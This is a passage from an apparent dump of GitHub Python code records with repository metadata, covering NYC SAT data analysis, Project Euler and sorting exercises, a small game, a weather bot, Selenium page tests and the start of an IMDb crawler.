problem:\r\n\r\ndata[\"class_size\"].head()\r\n\r\n# data[\"sat_results\"].head()\r\n\r\n#####################\r\n# we’ll need to find a way to condense datasets \r\n# like class_size to the point where there’s \r\n# only a single row per high school.\r\n#\r\n# By restricting each field to a single value, \r\n# we can filter most of the duplicate rows. \r\n# In the below code, we:\r\n#\r\n# Only select values from class_size where the GRADE field is 09-12.\r\n# Only select values from class_size where the PROGRAM TYPE field is GEN ED.\r\n# Group the class_size dataset by DBN, and take the average of each column. \r\n# (Essentially, we’ll find the average class_size values for each school.)\r\n# Reset the index, so DBN is added back in as a column.\r\n\r\n# print(\"CLASS SIZE BEFORE:\\n\", data[\"class_size\"].head())\r\n\r\nclass_size = data[\"class_size\"]\r\nclass_size = class_size[class_size[\"GRADE \"] == \"09-12\"]\r\nclass_size = class_size[class_size[\"PROGRAM TYPE\"] == \"GEN ED\"]\r\nclass_size = class_size.groupby(\"DBN\").agg(np.mean)\r\nclass_size.reset_index(inplace=True)\r\ndata[\"class_size\"] = class_size\r\n\r\n# print(\"CLASS SIZE AFTER:\\n\", data[\"class_size\"].head())\r\n\r\n#####################\r\n# Next, we’ll need to condense the demographics dataset.\r\n#\r\n# For the demographics dataset, there are duplicate rows \r\n# for each school. We’ll only pick rows where the schoolyear \r\n# field is the most recent available:\r\n \r\ndemographics = data[\"demographics\"]\r\ndemographics = demographics[demographics[\"schoolyear\"] == 20112012]\r\ndata[\"demographics\"] = demographics\r\n\r\n#print(\"demographics AFTER:\\n\", data[\"demographics\"].head())\r\n\r\n########################\r\n# Next: We’ll need to condense the math_test_results dataset. \r\n# This dataset is segmented by Grade and by Year. We can \r\n# select only a single grade from a single year:\r\n\r\ndata[\"math_test_results\"] = data[\"math_test_results\"][data[\"math_test_results\"][\"Year\"] == 2011]\r\ndata[\"math_test_results\"] = data[\"math_test_results\"][data[\"math_test_results\"][\"Grade\"] == '8']\r\n\r\n# print(\"math_test_results AFTER:\\n\", data[\"math_test_results\"].head())\r\n\r\n#######################\r\n# Finally, graduation needs to be condensed:\r\n\r\ndata[\"graduation\"] = data[\"graduation\"][data[\"graduation\"][\"Cohort\"] == \"2006\"]\r\ndata[\"graduation\"] = data[\"graduation\"][data[\"graduation\"][\"Demographic\"] == \"Total Cohort\"]\r\n\r\n# print(\"graduation AFTER:\\n\", data[\"graduation\"].head())\r\n\r\n####################\r\n# Data cleaning and exploration is critical before \r\n# working on the meat of the project. Having a good, \r\n# consistent dataset will help you do your analysis more quickly.\r\n\r\n# Computing variables:\r\n# \r\n# Computing variables can help speed up our analysis \r\n# by enabling us to make comparisons more quickly, \r\n# and enable us to make comparisons that we otherwise \r\n# wouldn’t be able to do\r\n\r\n# The first thing we can do is compute a total SAT score \r\n# from the individual columns SAT Math Avg. Score, \r\n# SAT Critical Reading Avg. Score, and SAT Writing Avg. Score. \r\n#\r\n# In the below code, we:\r\n#\r\n# Convert each of the SAT score columns from a string to a number.\r\n# Add together all of the columns to get the sat_score column, which is the total SAT score.\r\n\r\ncols = ['SAT Math Avg. Score', 'SAT Critical Reading Avg. Score', 'SAT Writing Avg. Score']\r\nfor c in cols:\r\n# print(\"ColName:\", c)\r\n# convert_objects has been deprecated:\r\n data[\"sat_results\"][c] = data[\"sat_results\"][c].convert_objects(convert_numeric=True)\r\n# str = data[\"sat_results\"][c]\r\n# print(\"STR:\", str)\r\n# str = pd.to_numeric(data[\"sat_results\"][c])\r\n# value = pd.to_numeric(str)\r\n# print(\"Val2:\", value)\r\n# data[\"sat_results\"][c] = pd.to_numeric(str)\r\n# print(\"ColVal:\\n\", data[\"sat_results\"][c].head())\r\n\r\ndata['sat_results']['sat_score'] = data['sat_results'][cols[0]] + data['sat_results'][cols[1]] + data['sat_results'][cols[2]]\r\n\r\n#print(\"sat_results AFTER:\\n\", data['sat_results']['sat_score'].head())\r\n\r\n\r\n# NEW method:\r\n# \r\n# It's just this: data['S1Q2I'] = pd.to_numeric(data['S1Q2I']) \r\n#\r\n\r\n# Warning:\r\n# C:\\Anaconda3\\lib\\site-packages\\ipykernel\\__main__.py:216: \r\n# FutureWarning: convert_objects is deprecated. Use the data-type \r\n# specific converters pd.to_datetime, pd.to_timedelta and pd.to_numeric.\r\n#\r\n# >>> import pandas as pd\r\n#>>> s = pd.Series(['1.0', '2', -3])\r\n#>>> pd.to_numeric(s)\r\n#>>> s = pd.Series(['apple', '1.0', '2', -3])\r\n#>>> pd.to_numeric(s, errors='ignore')\r\n#>>> pd.to_numeric(s, errors='coerce')\r\n\r\n\r\n# Next, we’ll need to parse out the coordinate \r\n# locations of each school, so we can make maps. \r\n# This will enable us to plot the location of each school. \r\n#\r\n# In the below code, we:\r\n#\r\n# Parse latitude and longitude columns from the Location 1 column.\r\n# Convert lat and lon to be numeric.\r\n\r\ndata[\"hs_directory\"]['lat'] = data[\"hs_directory\"]['Location 1'].apply(lambda x: x.split(\"\\n\")[-1].replace(\"(\", \"\").replace(\")\", \"\").split(\", \")[0])\r\ndata[\"hs_directory\"]['lon'] = data[\"hs_directory\"]['Location 1'].apply(lambda x: x.split(\"\\n\")[-1].replace(\"(\", \"\").replace(\")\", \"\").split(\", \")[1])\r\n\r\nfor c in ['lat', 'lon']:\r\n data[\"hs_directory\"][c] = data[\"hs_directory\"][c].convert_objects(convert_numeric=True)\r\n\r\n\r\n# print(\"hs_directory_LAT:\\n\", data[\"hs_directory\"]['lat'].head())\r\n# print(\"hs_directory_LON:\\n\", data[\"hs_directory\"]['lon'].head())\r\n\r\n##################\r\n# Now, we can print out each dataset to see what we have:\r\n#\r\n#for k,v in data.items():\r\n# print(k)\r\n# print(v.head())\r\n\r\n####################\r\n# Combining the datasets\r\n#\r\n# Now that we’ve done all the preliminaries\r\n#\r\n# You can read about different types of joins here.\r\n\r\n######################\r\n# In the below code, we’ll:\r\n#\r\n# Loop through each of the items in the data dictionary.\r\n# Print the number of non-unique DBNs in the item.\r\n# Decide on a join strategy – inner or outer.\r\n# Join the item to the DataFrame full using the column DBN.\r\n#\r\n\r\nflat_data_names = [k for k,v in data.items()]\r\nflat_data = [data[k] for k in flat_data_names]\r\nfull = flat_data[0]\r\nfor i, f in enumerate(flat_data[1:]):\r\n name = flat_data_names[i+1]\r\n print(name)\r\n print(len(f[\"DBN\"]) - len(f[\"DBN\"].unique()))\r\n join_type = \"inner\"\r\n if name in [\"sat_results\", \"ap_2010\", \"graduation\"]:\r\n join_type = \"outer\"\r\n if name not in [\"math_test_results\"]:\r\n full = full.merge(f, on=\"DBN\", how=join_type)\r\n\r\nfull.shape\r\n\r\n \r\n####################\r\n# We may want to correlate the Advanced Placement \r\n# exam results with SAT scores, but we’ll need to \r\n# first convert those columns to numbers, then fill \r\n# in any missing values\r\n#\r\n\r\ncols = ['AP Test Takers ', 'Total Exams Taken', 'Number of Exams with scores 3 4 or 5']\r\n\r\nfor col in cols:\r\n full[col] = full[col].convert_objects(convert_numeric=True)\r\n\r\nfull[cols] = full[cols].fillna(value=0)\r\n\r\n\r\n####################\r\n# we’ll need to calculate a school_dist column that \r\n# indicates the school district of the school. This \r\n# will enable us to match up school districts and plot\r\n# out district-level statistics using the district \r\n# maps we downloaded earlier:\r\n\r\nfull[\"school_dist\"] = full[\"DBN\"].apply(lambda x: x[:2])\r\n\r\n#################\r\n# Finally, we’ll need to fill in any missing values \r\n# in full with the mean of the column, so we can \r\n# compute correlations:\r\n\r\nfull = full.fillna(full.mean())\r\n\r\n# print(full.head())\r\n\r\n\r\n##################\r\n# Computing correlations\r\n#\r\n# A good way to explore a dataset and see what \r\n# columns are related to the one you care about \r\n# is to compute correlations.\r\n#\r\n# This will tell you which columns are closely\r\n# related to the column you’re interested in. \r\n# We can do this via the corr method on Pandas DataFrames\r\n#\r\n# The closer to 0 the correlation, the weaker the connection. \r\n# The closer to 1, the stronger the positive correlation, \r\n# and the closer to -1, the stronger the negative correlation`:\r\n#\r\n# \r\n\r\n# DATA DOESN'T MATCH\r\nfull.corr()['sat_score']\r\n\r\n\r\n\r\n#######################\r\n# In the below code, we:\r\n# Setup a map centered on New York City.\r\n# Add a marker to the map for each high school in the city.\r\n# Display the map.\r\n\r\nschools_map = folium.Map(location=[full['lat'].mean(), full['lon'].mean()], zoom_start=10)\r\nmarker_cluster = folium.MarkerCluster().add_to(schools_map)\r\nfor name, row in full.iterrows():\r\n folium.Marker([row[\"lat\"], row[\"lon\"]], popup=\"{0}: {1}\".format(row[\"DBN\"], row[\"school_name\"])).add_to(marker_cluster)\r\nschools_map.create_map('schools.html')\r\nschools_map\r\n\r\n########################\r\n# This map is helpful, but it’s hard to see w\r\n# where the most schools are in NYC. Instead, we’ll make a heatmap:\r\n\r\n\r\n\r\nschools_heatmap = folium.Map(location=[full['lat'].mean(), full['lon'].mean()], zoom_start=10)\r\nschools_heatmap.add_children(plugins.HeatMap([[row[\"lat\"], row[\"lon\"]] for name, row in full.iterrows()]))\r\nschools_heatmap.save(\"heatmap.html\")\r\nschools_heatmap\r\n\r\n###################\r\n# We can compute SAT score by school district, \r\n# then plot this out on a map. In the below code, we’ll:\r\n#\r\n# Group full by school district.\r\n# Compute the average of each column for each school district.\r\n# Convert the school_dist field to remove leading 0s, so we can match our geograpghic district data.\r\n\r\n\r\ndistrict_data = full.groupby(\"school_dist\").agg(np.mean)\r\ndistrict_data.reset_index(inplace=True)\r\ndistrict_data[\"school_dist\"] = district_data[\"school_dist\"].apply(lambda x: str(int(x)))\r\n\r\n\r\n###########################\r\n# We’ll now we able to plot the average SAT score \r\n# in each school district. In order to do this, \r\n# we’ll read in data in GeoJSON format to get the \r\n# shapes of each district, then match each district \r\n# shape with the SAT score using the school_dist column, \r\n# then finally create the plot:\r\n\r\ndef show_district_map(col):\r\n geo_path = 'schools/districts.geojson'\r\n districts = folium.Map(location=[full['lat'].mean(), full['lon'].mean()], zoom_start=10)\r\n districts.geo_json(\r\n geo_path=geo_path,\r\n data=district_data,\r\n columns=['school_dist', col],\r\n key_on='feature.properties.school_dist',\r\n fill_color='YlGn',\r\n fill_opacity=0.7,\r\n line_opacity=0.2,\r\n )\r\n districts.save(\"districts.html\")\r\n return districts\r\n\r\nshow_district_map(\"sat_score\")\r\n\r\n####### END\r\n","repo_name":"ML2020/SAT-Survey-Scores-Correlations","sub_path":"SAT_Survey_Scores_Correlations.py","file_name":"SAT_Survey_Scores_Correlations.py","file_ext":"py","file_size_in_byte":15290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18353797811","text":"letters = {\"A\": 1, \"B\": 2, \"C\": 3, \"D\": 4, \"E\": 5, \r\n \"F\": 6, \"G\": 7, \"H\": 8, \"I\": 9, \"J\": 10, \r\n \"K\": 11, \"L\": 12, \"M\": 13, \"N\": 14, \"O\": 15, \r\n \"P\": 16, \"Q\": 17, \"R\": 18, \"S\": 19, \"T\": 20, \r\n \"U\": 21, \"V\": 22, \"W\": 23, \"X\": 24, \"Y\": 25, \r\n \"Z\": 26, }\r\n\r\ndef word_sum(word):\r\n result = 0\r\n for i in list(word): result += letters[i]\r\n return result\r\n\r\nwith open('pe_042_words.txt', 'r') as f:\r\n wordlist = [word.strip('\"') for word in f.read().split(',')]\r\n\r\nmax_len = 0\r\n\r\nfor i in wordlist:\r\n if len(i) > max_len: max_len = len(i)\r\n\r\niterator = 2\r\ntriangles = [1]\r\n\r\nwhile True:\r\n if max(triangles) > max_len * 26: break\r\n triangles.append(int(0.5 * iterator * (iterator+1)))\r\n iterator += 1\r\n\r\nfinal_count = 0\r\n\r\nfor i in wordlist:\r\n if word_sum(i) in triangles: final_count += 1\r\n \r\nprint(final_count)","repo_name":"colo1701/projecteuler.net_python","sub_path":"pe_042.py","file_name":"pe_042.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39041947493","text":"import sys\nN = int(sys.stdin.readline())\nnum_list = []\nfor i in range(N):\n num_list.append(int(sys.stdin.readline()))\n\ndef merge_sort(arr):\n if len(arr) <= 1:\n return arr\n mid = len(arr)//2\n L = merge_sort(arr[:mid])\n R = merge_sort(arr[mid:])\n mer = []\n\n i = 0\n j = 0\n while i < len(L) and j < len(R):\n if L[i] > R[j]:\n mer.append(R[j])\n j += 1\n else:\n mer.append(L[i])\n i += 1\n if i != len(L):\n mer += L[i:]\n if j != len(R):\n mer += R[j:]\n return mer\n\nmer = merge_sort(num_list)\nfor i in mer:\n print(i)","repo_name":"NewP1/Baekjoon_sol","sub_path":"Class2/Baekjoon_2751.py","file_name":"Baekjoon_2751.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15421638460","text":"#rock paper scissors game\nimport random\n\nrock = '''\n _______\n---' (____)\n (______)\n (_______)\n (_______)\n---.______(_____)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\n#3 rules\n#rock beats scissors\n#scissors beats paper\n#paper beats rock\n\nmove = int(input(\"Welcome to Rock, Paper, Scissors!\\nChoose your move: enter 0 for rock, 1 for paper, 2 for scissors - \"))\nmoves = [rock, paper, scissors]\n\ncomp_move = random.randint(0, 2)\n\nprint(moves[move])\nprint(f\"\\nComputer move:\\n{moves[comp_move]}\")\n\nif moves[move] == rock and moves[comp_move] == scissors:\n print(\"You win!\")\nelif moves[comp_move] == rock and moves[move] == scissors:\n print(\"You Lose!\")\nelif moves[move] == scissors and moves[comp_move] == paper:\n print(\"You Win!\")\nelif moves[comp_move] == scissors and moves[move] == paper:\n print(\"You Lose!\")\nelif moves[move] == paper and moves[comp_move] == rock:\n print(\"You Win!\")\nelif moves[comp_move] == paper and moves[move] == rock:\n print(\"You Lose!\")\nelse:\n print(\"You tied!\")","repo_name":"artem-hamuha/Computer-Science","sub_path":"Complete_Python_Pro_Bootcamp/Day4_Project.py","file_name":"Day4_Project.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43813749352","text":"#!/usr/bin/env python3\n\nimport sys\nfrom os import system\nfrom time import sleep\n\nC_RED=\"\\u001B[31m\"\nC_BLUE=\"\\u001B[34m\"\nC_RESET=\"\\u001B[0m\"\n\nif len(sys.argv) < 5:\n print(\"error: not enough arguments\", file=sys.stderr)\n exit(1)\n\nwidth = int(sys.argv[1])\nheight = int(sys.argv[2])\nx = int(sys.argv[3])\ny = int(sys.argv[4])\n\ndef clear():\n system(\"clear\")\n\ndef print_grid(grid):\n for j in range(height):\n line = \"\"\n for i in range(width):\n line += grid[i][j]\n print(line)\n\ndef square_grid(turn, grid, s_x, s_y, width, height):\n dist = turn - 1\n color = C_BLUE if dist % 2 else C_RED\n start_x = s_x - dist\n start_y = s_y - dist\n end_x = s_x + dist\n end_y = s_y + dist\n if start_x < 0 and start_y < 0 and end_x > width - 1\\\n and end_y > height - 1:\n return 0\n y = max(start_y, 0)\n while y < height and y < end_y + 1:\n x = max(start_x, 0)\n while x < width and x < end_x + 1:\n on_y = y == start_y or y == end_y\n on_x = x == start_x or x == end_x\n if on_y or on_x:\n grid[x][y] = color + str(dist % 10) + C_RESET\n x = x + 1 if on_y or x == end_x else end_x\n y += 1\n return turn + 1\n\ngrid = [[\"#\" for j in range(height)] for i in range(width)]\n\nturn = 1\n\nwhile turn:\n clear()\n print_grid(grid)\n turn = square_grid(turn, grid, x, y, width, height)\n sleep(0.125)\n","repo_name":"Taiwing/lemin_tk","sub_path":"__tests__/square_visit.py","file_name":"square_visit.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14223195212","text":"import requests\nfrom get_time_zone_for_city import get_time_for_timezone\nfrom private_key_utils import getPrivateKey\n\n__temp = ''\n__temp_feels = ''\n\n\ndef __celsius_to_fahrenheit(t: float | int) -> float | int:\n\n fahrenheit = (t * 9 / 5) + 32\n return fahrenheit\n\ndef __api_handler(url: str, city_name: str) -> str:\n my_weather_request = requests.get(url).json()\n\n if not my_weather_request['cod'] == '404':\n\n getTemp = my_weather_request['main']['temp'] - 273.15\n getTemp_feels = my_weather_request['main']['feels_like'] - 273.15\n\n fahrenheit_temp = str(__celsius_to_fahrenheit(getTemp))[:4]\n fahrenheit_feels_like = str(__celsius_to_fahrenheit(getTemp_feels))[:4]\n\n celsius_temp = str(getTemp)[:4]\n celsius_feels_like = str(getTemp_feels)[:4]\n\n weather_json = my_weather_request['weather']\n weather_main = weather_json[0]['main']\n\n weather_description_json = my_weather_request['weather']\n weather_description = weather_description_json[0]['description']\n\n return f'At {get_time_for_timezone(city_name)} in {city_name} current temperature is ' \\\n f'{celsius_temp} Celsius / {fahrenheit_temp} Fahrenheit ' \\\n f'(feels like {celsius_feels_like} C / {fahrenheit_feels_like} F). ' \\\n f' The weather is ' \\\n f'{weather_main} ({weather_description})'\n\n elif my_weather_request['cod'] == '404':\n return \"City not found. Please, try again.\"\n\n\ndef weather_request(city_name: str) -> str|None:\n\n my_key = getPrivateKey('private_owm_key.txt')\n\n url = f\"https://api.openweathermap.org/data/2.5/weather?appid={my_key}&q={city_name}\"\n\n try:\n return __api_handler(url, city_name)\n\n except TypeError:\n return None\n\n\n\n\n###====================TEST CODE HERE======================###\ndef code_test():\n print('Paste here function you need to test')\n print(weather_request('Manchester'))\n\n\nif __name__ == '__main__':\n code_test()","repo_name":"staincrazy/Custom-Weather-Bot","sub_path":"open_weather_map.py","file_name":"open_weather_map.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41267825578","text":"from header_tests import Test_Header_Element_Visibility as test_header\nfrom footer_tests import Test_Footer_Element_Visibility as test_footer\nfrom page_qmi import QMIPage\nfrom page_base import BasePage\nimport math\nimport pytest\nimport time\n\n@pytest.mark.usefixtures(\"init__driver\")\nclass BasicTest():\n def test_image_carousel(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n slides = qmi_page.get_elements_carousel_slides()\n carousel_bool = False\n for i in range(len(slides)):\n if i != 0:\n qmi_page.click_element_next_arrow()\n time.sleep(1)\n slide = qmi_page.get_element_slide_number(i)\n result = self.driver.execute_script(\"return arguments[0].classList.contains('slick-active')\", slide)\n if result:\n carousel_bool = True\n else:\n assert False\n assert carousel_bool\n \n #CLicking this button does nothing in PROD\n def test_quick_move_in_button(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_button = qmi_page.click_element_qmi_see_whats_included_button()\n result = qmi_page.button_is_clickable(qmi_button)\n assert result\n \n # Button does not appear on every QMI page in PROD\n def test_book_a_tour_button(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n html = qmi_page.get_html()\n qmi_page.click_element_book_a_tour_button()\n result = self.driver.execute_script('return arguments[0].scrollTop != 0', html)\n assert result\n\n def test_plan(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n plan_text = qmi_page.get_text_plan_number()\n plan_text = plan_text.replace('Plan #', '')\n assert len(plan_text) != 0\n \n def test_qmi_header(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_name = qmi_page.get_text_qmi_name_header()\n assert '' != qmi_name\n \n def test_community_link(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n community_name = qmi_page.get_text_community()\n qmi_page.click_element_community_button()\n new_page_header = qmi_page.new_page_get_community_name()\n assert community_name in new_page_header or new_page_header in community_name\n \n def test_community_description(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n description = qmi_page.get_text_qmi_description()\n assert '' != description\n \n def test_estimated_completion(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n estimated = qmi_page.get_text_qmi_estimated_completion()\n estimated = estimated.replace('Estimated Completion for this home:', '')\n assert len(estimated) != 0\n \n def test_home_address(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n home_adr = qmi_page.get_text_qmi_home_address()\n assert len(home_adr) != 0\n\n def test_qmi_stats(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n stats = qmi_page.get_text_aside()\n assert (\n 'Approx. Sq. Ft.' in stats and\n 'Bedrooms' in stats and\n 'Garage' in stats and\n 'Stories' in stats\n )\n \n def test_floorplan_tab(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n image = qmi_page.get_element_floorplan_image()\n result = qmi_page.javascript_image(image)\n assert result\n \n def test_virtual_walkthrough_tab(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n qmi_page.click_element_virtual_walkthrough_button()\n time.sleep(2)\n iframe = qmi_page.get_element_virtual_walkthrough_iframe()\n result = self.driver.execute_script(\"return arguments[0].width == '100%' || arguments[0].width > 0\", iframe)\n assert result\n \n def test_download_pdf_tab(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n qmi_page.click_element_download_pdf()\n assert (not '') or 'PDF.js viewer' in self.driver.title\n \n def test_interior_package_tab(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n qmi_page.click_element_interior_package_button()\n image = qmi_page.get_element_interior_package_image()\n result = qmi_page.javascript_image(image)\n assert result\n \n def test_elevation_tab(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n qmi_page.click_element_elevation_button()\n image = qmi_page.get_element_elevation_image()\n result = qmi_page.javascript_image(image)\n assert result\n\n def test_promotion_section(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n image = qmi_page.get_element_promotion_image()\n result = qmi_page.javascript_image(image)\n button = qmi_page.get_element_promotion_button()\n button_clickable = qmi_page.button_is_clickable(button)\n assert result and button_clickable\n \n def test_buttons(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n compare_button = qmi_page.get_element_compare_qmi_button()\n save_button = qmi_page.get_element_save_favorites_button()\n result_1 = qmi_page.button_is_clickable(compare_button)\n result_2 = qmi_page.button_is_clickable(save_button)\n assert result_1 and result_2\n\n def test_first_name_input(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n input_value = qmi_page.get_input_first_name(self.driver)\n assert 'test_input' == input_value \n \n def test_last_name_input(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n input_value = qmi_page.get_input_last_name(self.driver)\n assert 'test_input' == input_value \n \n # Test whether user can input into email address field\n def test_email_address_input(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n input_value = qmi_page.get_input_create_account_email_address(self.driver)\n assert 'test_input' == input_value \n \n # Test whether user can input into phone number field\n def test_phone_number_input(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n input_value = qmi_page.get_input_phone_number(self.driver)\n assert 'test_input' == input_value \n\n def test_company_name_input(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n qmi_page.close_cookies()\n qmi_page.click_element_agent_button()\n input_value = qmi_page.get_input_company_name(self.driver)\n assert 'test_input' == input_value\n \n def test_aside_button_is_clickable(self, driver_settings):\n qmi_page = QMIPage(self.driver)\n result = qmi_page.check_aside_button_clickable()\n assert result\n\n pass\n\nclass Test_Snowberry_Page(BasicTest):\n @pytest.fixture()\n def driver_settings(self):\n self.driver.get(\"https://www.meritagehomes.com/state/co/denver/ridgeline-vista/snowberry-3263/538-lost-lake-street\")\n self.driver.set_window_position(0,0)\n \n \n# class Test_X_Page(BasicTest):\n# @pytest.fixture()\n# def driver_settings(self):\n# self.driver.get(\"placeholder\")\n# self.driver.set_window_position(0,0)\n# return \"California\"\n \n\n# class Test_Y_Page(BasicTest):\n# @pytest.fixture()\n# def driver_settings(self):\n# self.driver.get(\"placeholder\")\n# self.driver.set_window_position(0,0)\n# return \"Colorado\"","repo_name":"meritage-logan-ferrera/Pytest_Selenium_10.2","sub_path":"test_qmi_page.py","file_name":"test_qmi_page.py","file_ext":"py","file_size_in_byte":7246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1074547749","text":"# Programmers 완전탐색 1. 최소 직사각형\n\n# 시간복잡도: O(N)\n\ndef solution(sizes):\n x = []\n y = []\n \n for i in range(len(sizes)):\n w, h = sizes[i]\n\n if w > h:\n x.append(w)\n y.append(h)\n else:\n x.append(h)\n y.append(w)\n\n return max(x) * max(y)\n\n'''\n1. 반복문을 통해 명함 사이즈를 하나씩 불러온다.\n2. 이때, 명함의 가로 길이(w)가 세로 길이(h)보다 언제나 크다고 가정한다.\n3. 가로 길이가 세로 길이보다 크다면 x 축 길이를 담는 x 리스트에 가로 길이(w)를, y 축 길이를 담는 y 리스트에 세로 길이(h)를 담는다.\n4. 반대로 세로 길이가 가로 길이보다 같거나 크다면, 명함을 90도 눕힌다는 개념으로 가로 길이와 세로 길이를 바꾸어 x 축 길이를 담는 x 리스트에 세로 길이(h)를, y 축 길이를 담는 y 리스트에 가로 길이(w)를 담는다.\n5. 그리고 각각 x 축, y 축 길이를 담은 리스트에서 가장 큰 값을 꺼내어 곱해 모든 명함을 포함하는 지갑의 크기를 구한다.\n'''\n","repo_name":"JiSuMun/Algorithm-Study","sub_path":"W05/KimGyuri/86491_최소직사각형.py","file_name":"86491_최소직사각형.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"12479098740","text":"import numpy as np\nfrom KS import KS\nimport pylab as pl\nimport matplotlib.animation as animation\nimport sys\n\nL = int(sys.argv[1])/(2*np.pi) # domain is 0 to 2.*np.pi*L\nN = int(sys.argv[1]) # number of collocation points\ndt = 0.5 # time step\ndiffusion = 1.0\n\nks = KS(L=L,diffusion=diffusion,N=N,dt=dt) # instantiate model\n\nx = np.arange(N)*(L/N)\n\nn = 1000\nnmin=500\nuu = [] \ntt = []\nvspec = np.zeros(ks.xspec.shape[0], np.float)\n#x = np.arange(N)\n\nfig, ax = pl.subplots(1)\nline, = ax.plot(x, ks.x.squeeze(),lw=5)\nax.set_xlim(0,L)\nax.set_ylim(-5,5)\n\n#Init only required for blitting to give a clean slate.\n\ndef init():\n global line\n line.set_ydata(np.ma.array(x, mask=True))\n return line,\n\n# cut off the transient\nfor n in range(nmin):\n ks.step()\n\ndef updatefig(n):\n \n\tglobal tt,uu,vspec\n\tks.step()\n\tvspec += np.abs(ks.xspec.squeeze())**2\n\tu = ks.x.squeeze()\n\tline.set_ydata(u)\n\tpl.title('Time = ' + str(n*dt))\t\n\tpl.xlabel('X')\n\tpl.ylabel('u')\t\n\n\tprint(n)\n\t\n\tuu.append(u) \n\ttt.append(n*dt)\n\treturn line,\n\nani = animation.FuncAnimation(fig, updatefig, np.arange(1,n+1), init_func=init,interval=25, blit=True,repeat=False)\n#ani.save('KS_animation.mp4', fps=40, extra_args=['-vcodec', 'libx264'])\n#ani.save('KS_animation.mp4', fps=40)\n\npl.show()\n\npl.figure(2)\n\n# make contour plot of solution, plot spectrum.\n\nncount = len(uu)\nvspec = vspec/ncount\nuu = np.array(uu) \ntt = np.array(tt)\n\npl.contourf(x,tt[:n],uu[:n],1001,cmap=pl.cm.magma)\npl.xlabel('x')\npl.ylabel('t')\npl.colorbar()\npl.title('Solution of the K-S equation')\n\n\npl.show()\n\n#save results\n\n#np.savetxt('U_KS.txt', np.asmatrix(uu), delimiter=' ')\n","repo_name":"RiccardoRubini93/Kuramoto-Sivashinsky","sub_path":"Plottig.py","file_name":"Plottig.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43491888067","text":"\"\"\"Web crawling and scraping.\nBeautifulSoup documentation: https://www.crummy.com/software/BeautifulSoup/bs4/doc/\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nfrom util import utility\n\nBASE_URL = 'https://www.imdb.com/'\n\n\ndef get_soup(url: str) -> BeautifulSoup:\n \"\"\"Returns BeautifulSoup object from the corresponding URL, passed as a string.\n Creates Response object from HTTP GET request, using requests.get(, allow_redirects=False),\n and then uses the text field of the Response object and the 'html.parser' to create the BeautifulSoup object.\n \"\"\"\n\n # Create Response object from HTTP GET request; assume that no redirection is allowed (allow_redirects=False)\n response = requests.get(url, allow_redirects=False)\n # Get text from the Response object, using .text\n response_text = response.text\n # Create and return the corresponding BeautifulSoup object from the response text; use 'html.parser'\n return BeautifulSoup(response_text, 'html.parser')\n\n\ndef get_specific_page(start_url: str, page=1):\n \"\"\"Returns a specific page from a Website where long lists of items are split in multiple pages.\n \"\"\"\n\n if '&page=' in start_url:\n url_chunks = start_url.split('&page=')\n return url_chunks[0] + '&page=' + str(page) + '&' + url_chunks[1].split('&', maxsplit=1)[1]\n else:\n return start_url\n\n\ndef get_next_soup(start_url: str, page=1):\n \"\"\"Returns the BeautifulSoup object corresponding to a specific page\n in case there are multiple pages that list objects of interest.\n Parameters:\n - start_url: the starting page/url of a multi-page list of objects\n - page: the page number of a specific page of a multi-page list of objects\n \"\"\"\n\n return get_soup(get_specific_page(start_url, page))\n\n\ndef crawl(url: str, max_pages=1):\n \"\"\"Web crawler that collects info about movies from IMDb,\n implemented as a Python generator that yields BeautifulSoup objects (get_next_soup()) from multi-page movie lists.\n Parameters: the url of the starting IMDb page and the max number of pages to crawl in case of multi-page lists.\n \"\"\"\n\n for p in range(max_pages):\n yield get_next_soup(url, p + 1)\n p += 1\n\n\ndef get_4_digit_substring(a_string):\n \"\"\"Returns the first 4-digit substring 